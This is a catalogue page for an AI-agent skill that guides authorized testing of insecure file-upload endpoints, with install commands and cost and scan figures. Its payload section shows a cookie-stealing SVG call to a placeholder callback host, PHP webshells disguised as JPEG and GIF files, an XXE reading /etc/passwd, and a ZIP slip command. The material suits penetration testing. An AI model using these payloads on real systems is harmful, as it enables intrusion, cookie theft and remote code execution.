insecure-file-upload

insecure-file-upload is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 6 tokens per session (1,454 once invoked), scanned A, original, MIT.

A security-testing guide for unsafe file-upload features. It examines cases where a server trusts a filename or declared file type instead of checking the file's actual contents and safe handling.

In plain words
What is it for?
Use it to test multipart upload endpoints, stored files, archive extraction, office-document processing, and image-processing pipelines in authorized assessments.
Why use it?
It helps find upload paths that could allow stored cross-site scripting, unsafe document processing, path traversal, or server-side code execution.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is zip --symlinks traversal.zip ../../etc/passwd.

Good fit Use it to test multipart upload endpoints, stored files, archive extraction, office-document processing, and image-processing pipelines in authorized assessments.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/insecure-file-upload

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for insecure-file-upload

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/insecure-file-upload/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/insecure-file-upload/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for insecure-file-upload

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/insecure-file-upload"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/insecure-file-upload.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 6 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,454 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00006 $0.01454
Opus 5 $0.00003 $0.00727
Sonnet 5 $0.00001 $0.00291
Haiku 4.5 $0.00001 $0.00145

Measured 7d ago against content hash 23ef88cb783c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

insecure-file-upload scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/curated/insecure-file-upload/SKILL.md · 146 lines

How it starts

The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Insecure File Upload

What Is Broken and Why

File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.

Key Signals

  • multipart/form-data POST endpoints accepting user files
  • File extensions accepted beyond images/docs (or poorly validated)
  • Server echoes original filename in response or URL
  • Files served from same origin as application (not separate CDN/domain)
  • Archive extraction features (ZIP, tar)
  • Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
  • Image processing pipelines (ImageMagick, Pillow, libvips)

Methodology

  1. Upload a valid file; note the URL/path where it's stored and served.
  2. Check if files are served from same origin (XSS scope) or separate domain.
  3. Attempt extension bypass: shell.php.jpg, shell.php%00.jpg, shell.jpg.php.
  4. Modify Content-Type to image/jpeg while uploading a PHP/JSP file.
  5. Prepend valid magic bytes to malicious content; attempt upload.
  6. Test SVG upload — inject <svg onload="..."> for XSS.
  7. Test DOCX/XLSX upload with XXE payload inside XML.
  8. For archive extraction: craft ZIP with ../ paths (ZIP slip).
  9. Check if filename is reflected anywhere — test for path traversal and injection.

Payloads & Tools

# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>

# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Null byte bypass (older systems)
filename: shell.php%00.jpg

# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd

# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>

Read the full file on GitHub · 146 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 146 lines · 0 tokens per session scan A 23ef88cb783c

Subscribe to this mod's changes

insecure-file-upload is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 6 tokens to every session and 1,454 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

hunt-api-misconfig

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…

elementalsouls/Claude-BugHunter · 207 tokens

octopus-architecture

Review system architecture, simplify boundaries, or compare interface designs from repository evidence.

nyldn/claude-octopus · 19 tokens

agenticx-a2a-connector

Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…

DemonDamon/AgenticX · 73 tokens

agenticx-tool-creator

Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.

DemonDamon/AgenticX · 63 tokens

continuum-tools-mcp

Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…

shyftlabs/continuum · 94 tokens

pwn-ai-openai

Drive PWN::AI::OpenAI from pwneval.

0dayInc/pwn · 19 tokens